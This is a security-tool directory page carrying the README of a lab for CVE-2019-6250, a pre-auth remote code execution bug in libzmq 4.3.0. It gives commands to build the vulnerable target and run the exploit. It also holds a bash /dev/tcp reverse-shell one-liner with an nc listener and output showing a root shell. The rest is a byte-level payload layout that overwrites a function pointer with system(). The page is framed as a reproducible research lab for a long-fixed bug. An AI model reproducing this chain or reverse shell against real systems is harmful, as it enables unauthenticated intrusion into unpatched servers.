Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
cve-2019-6250-lab — End-to-end pre-auth RCE lab for CVE-2019-6250 (libzmq <= 4.3.0, ZMTP/2.0 wire-protocol) | Kitploit
Tools/GitHubGitHub/dinosn/cve-2019-6250-lab
Vulnerability AnalysisExploitationPenetration TestingLearning & EducationRemote Access ToolPayload DevelopmentBinary ExploitationLabs & Practice
GitHubdinosn/cve-2019-6250-lab

cve-2019-6250-lab

End-to-end pre-auth RCE lab for CVE-2019-6250 (libzmq <= 4.3.0, ZMTP/2.0 wire-protocol)

View Repository
105 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2019-6250 — libzmq pre-auth RCE lab

CVE CVSS Affected License

End-to-end working RCE chain + reproducible lab for CVE-2019-6250, the pre-auth heap-buffer-overflow in libzmq's v2_decoder_t::size_ready. A uint64_t pointer-arithmetic overflow lets an unauthenticated peer overwrite the adjacent msg_t::content_t::ffn function pointer on the ZMTP/2.0 wire path, then trigger it via TCP socket close → ~v2_decoder_t() → _in_progress.close() → system(cmd).

By Nicolas Krassas (@dinosn).

Lab use only. This kit ships an intentionally vulnerable libzmq 4.3.0. Don't expose port 5555 outside the lab. The bug was fixed seven years ago in libzmq 4.3.1 (commit 1a2ed127).


Demo

system() chain — file proof

system chain

Reverse shell — interactive root

reverse shell

Automated end-to-end smoke test

smoke test


TL;DR (Docker)

docker build -t cve-2019-6250-lab .
docker run --rm -it --cap-add=SYS_ADMIN --security-opt seccomp=unconfined \
           -p 5555:5555 cve-2019-6250-lab

# inside the container:
/opt/zmq-rce/exploit.py 127.0.0.1 5555
ls -l /tmp/PWNED-CVE-2019-6250        # <-- created by the libzmq server process

TL;DR (bare metal — Debian 12 / Kali 2024.x / Ubuntu 22.04)

sudo ./setup.sh                       # builds libzmq 4.3.0 + target, disables ASLR
sudo ./start_server.sh                # binds tcp://0.0.0.0:5555
./exploit.py 127.0.0.1 5555           # default cmd: touch /tmp/PWNED-CVE-2019-6250
ls -l /tmp/PWNED-CVE-2019-6250

Reverse shell

# terminal 1 — listener
nc -lvnp 4444

# terminal 2 — fire the chain
./exploit.py 127.0.0.1 5555 'bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"'

You should see something like:

listening on [any] 4444 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 55842
bash: cannot set terminal process group (1355844): Inappropriate ioctl for device
bash: no job control in this shell
root@host:/opt/zmq-rce#

The cannot set terminal process group (1355844) line confirms the shell was spawned by the libzmq target process (PID 1355844), not anything you ran locally.


Repository layout

.
├── README.md             # you are here
├── server.c              # tiny PULL listener — the vulnerable target
├── exploit.py            # full RCE chain
├── setup.sh              # bare-metal provisioner (clones + builds libzmq 4.3.0)
├── start_server.sh       # start/restart the target
├── read_addresses.sh     # regenerate the address profile for a different image
├── run_lab_test.sh       # automated end-to-end smoke test (CI-friendly)
├── Dockerfile            # one-command containerised lab
└── screenshots/          # README screenshots (generated with charmbracelet/freeze)

Mechanics

1. The bug

src/v2_decoder.cpp:117 (libzmq 4.3.0):

shared_message_memory_allocator &allocator = get_allocator ();
if (unlikely (!_zero_copy
              || ((unsigned char *) read_pos_ + msg_size_         //  <-- wraps
                  > (allocator.data () + allocator.size ())))) {
    rc = _in_progress.init_size (static_cast<size_t> (msg_size_));   // safe path
} else {
    rc = _in_progress.init (read_pos_, msg_size_, call_dec_ref,
                            allocator.buffer (), allocator.provide_content ());
    // zero-copy aliasing path — _in_progress.data() == read_pos_
}

msg_size_ is the attacker-controlled big-endian uint64_t from the ZMTP/2.0 LARGE-frame header. With msg_size_ = 0xFFFFFFFFFFFFFFFF, the sum read_pos_ + msg_size_ wraps modulo 2⁶⁴ and ends up less than the right-hand side. The bounds check evaluates false → execution falls into the zero-copy path → the _in_progress message aliases the recv buffer. The decoder then asks the kernel for 0xFFFFFFFFFFFFFFFF more bytes at read_pos_, and recv() happily writes our payload past the recv buffer end into the adjacent content_t[] array (allocated in the same malloc() chunk at decoder_allocators.cpp:88).

2. The chain

[ atomic_counter_t (refcnt) ]   8 bytes
[ recv buffer ]                 8192 bytes  ← bytes start landing at read_pos_+0
[ content_t [ _max_counters ] ] 249 × 40 = 9960 bytes
                                ↑ content_t[0] starts at read_pos_+8183

We send 8224 payload bytes structured so that:

payload offsetbyteswhat it overwrites
[0:16]padding(in recv buffer)
[16:K]command string + NUL(in recv buffer — system's arg)
[K:8183]padding(in recv buffer)
[8183:8191]read_pos+16content_t[0].data (→ command)
[8191:8199]0content_t[0].size
[8199:8207]&systemcontent_t[0].ffn (control-flow target)
[8207:8215]0content_t[0].hint
[8215:8223]0content_t[0].refcnt

When we close the TCP socket, the server's ~v2_decoder_t() calls _in_progress.close(). In msg_t::close:

if (!(_u.zclmsg.flags & shared) || !content->refcnt.sub(1)) {
    content->ffn(content->data, content->hint);     //  -> system(cmd)
}

init_external_storage set _u.zclmsg.flags = 0, so the OR-shortcut takes the branch immediately — refcnt isn't even checked. Our overwritten ffn runs.

No ROP, no shellcode, no info-leak: just one libc symbol resolution and one inline command string.

3. Reaching v2_decoder_t pre-auth

Looking at stream_engine.cpp:707:

bool zmq::stream_engine_t::handshake_v2_0 ()
{
    if (_session->zap_enabled ()) { error (...); return false; }
    _encoder = new v2_encoder_t (...);
    _decoder = new v2_decoder_t (...);     // <-- NO mechanism object
    return true;
}

The ZMTP/2.0 path instantiates v2_decoder_t with no mechanism. Only ZAP rejects 2.0 connections, and ZAP is off by default. Once a peer sends the 12-byte ZMTP/2.0 greeting (0xff + 8 nulls + 0x7f + revision 0x01 + socket-type), every subsequent byte is parsed by v2_decoder_t. No authentication. No handshake. No mechanism state machine.


ASAN evidence

Optional: build with -fsanitize=address and watch the heap-buffer-overflow report:

asan report

The 0 bytes after 18160-byte region confirms the chunk size we computed: 8 (atomic_counter) + 8192 (recv buffer) + 249 × 40 (content_t array) = 18160. The allocation site at handshake_v2_0:719 confirms the bug fires on the pre-auth ZMTP/2.0 path.


Why hardcoded addresses

With kernel.randomize_va_space=0, libc base, libzmq base, the heap, and the I/O thread's malloc arena are all at deterministic addresses. The default profile in exploit.py (DEFAULT_PROFILE) is captured for the bundled lab build (Debian 12 / Kali 2024.1 / glibc 2.38, libzmq 4.3.0 release-mode -O2):

Download Tool